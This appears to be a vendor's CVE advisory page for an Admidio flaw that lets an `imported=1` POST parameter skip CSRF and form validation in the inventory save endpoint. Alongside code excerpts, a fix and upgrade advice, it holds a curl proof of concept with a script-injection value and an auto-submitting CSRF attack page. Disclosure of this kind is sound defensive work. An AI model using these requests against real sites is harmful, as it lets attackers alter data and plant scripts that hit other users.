CVE-2026-34383 is a medium-severity (CVSS 4.3) Improper Input Validation vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.
Admidio: CSRF and Form Validation Bypass in Inventory Item Save via `imported` Parameter
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34383.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-34383 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The inventory module's item_save endpoint accepts a user-controllable POST parameter imported that, when set to true, completely bypasses both CSRF token validation and server-side form validation. An authenticated user can craft a direct POST request to save arbitrary inventory item data without CSRF protection and without the field value checks that the FormPresenter validation normally enforces.
Details
In modules/inventory.php, the imported parameter is read from POST input:
File: modules/inventory.php:50
$postImported = admFuncVariableIsValid($_POST, 'imported', 'bool', array('defaultValue' => false));
This is then passed to ItemService:
File: modules/inventory.php:251-256
$itemService = new ItemService($gDb, $itemUuid, $postCopyField, $postCopyNumber, $postImported);
$itemService->save(true);
Inside ItemService::save(), the postImported flag completely skips CSRF and form validation:
File: src/Inventory/Service/ItemService.php:99-109
public function save(bool $multiEdit = false): void
{
global $gCurrentSession, $gL10n, $gSettingsManager;
// check form field input and sanitized it from malicious content
if (!$this->postImported) {
$itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
} else {
$formValues = $_POST; // Raw $_POST used with no CSRF check, no validation
}
// ... item data is saved using raw $formValues
When imported=1 is sent, the code:
- Skips
$gCurrentSession->getFormObject()— which validates the CSRF token - Skips
$itemFieldsEditForm->validate()— which sanitizes and validates field values - Uses raw
$_POSTvalues directly to save to the database
This means:
- CSRF protection is completely bypassed — an external website can trick a logged-in user into modifying inventory data
- Form validation is bypassed — field type checks, required field checks, and input sanitization are all skipped
- Raw user input flows into
$this->itemRessource->setValue()and thensaveItemData()without the normal server-side sanitization
PoC
# As an authenticated user with inventory access, save arbitrary item data
# without a valid CSRF token and without form validation:
curl -X POST -b 'ADMIDIO_SESSION=<session>' \
'https://admidio.local/modules/inventory.php?mode=item_save' \
-d 'imported=1' \
-d 'adm_csrf_token=anything' \
-d 'INF-CATEGORY=1' \
-d 'INF-ITEMNAME=<script>alert(1)</script>'
# The CSRF token is not checked because imported=true skips the form object lookup.
# The field value is not sanitized because validate() is skipped.
A CSRF attack page would look like:
<html>
<body>
<form action="https://admidio.local/modules/inventory.php?mode=item_save" method="POST">
<input type="hidden" name="imported" value="1" />
<input type="hidden" name="adm_csrf_token" value="dummy" />
<input type="hidden" name="INF-CATEGORY" value="1" />
<input type="hidden" name="INF-ITEMNAME" value="Attacker-controlled data" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Impact
- CSRF bypass: An attacker can trick any logged-in inventory user into creating or modifying inventory items by having them visit a malicious page.
- Validation bypass: Server-side field type validation, required field checks, and input sanitization are all skipped, allowing arbitrary data to be stored.
- Stored XSS potential: Because
validate()is bypassed, unsanitized input may be stored and later rendered to other users (dependent on output encoding in the view layer).
Recommended Fix
Remove the imported parameter bypass from the save logic, or at minimum always validate the CSRF token regardless of the imported flag:
public function save(bool $multiEdit = false): void
{
global $gCurrentSession, $gL10n, $gSettingsManager;
// ALWAYS validate CSRF token
$itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if (!$this->postImported) {
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
} else {
// For imported items, still validate the CSRF token (done above)
// and apply basic sanitization
$formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
}
// ...
}
Alternatively, the imported flag should only be set by the import workflow itself (via a session variable set during the import process), rather than being controllable via direct POST input.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 5.0.8composer require admidio/admidio:^5.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update admidio/admidio to 5.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34383 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34383 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-34383. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-34383 in your dependencies?
O3 Security finds CVE-2026-34383 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.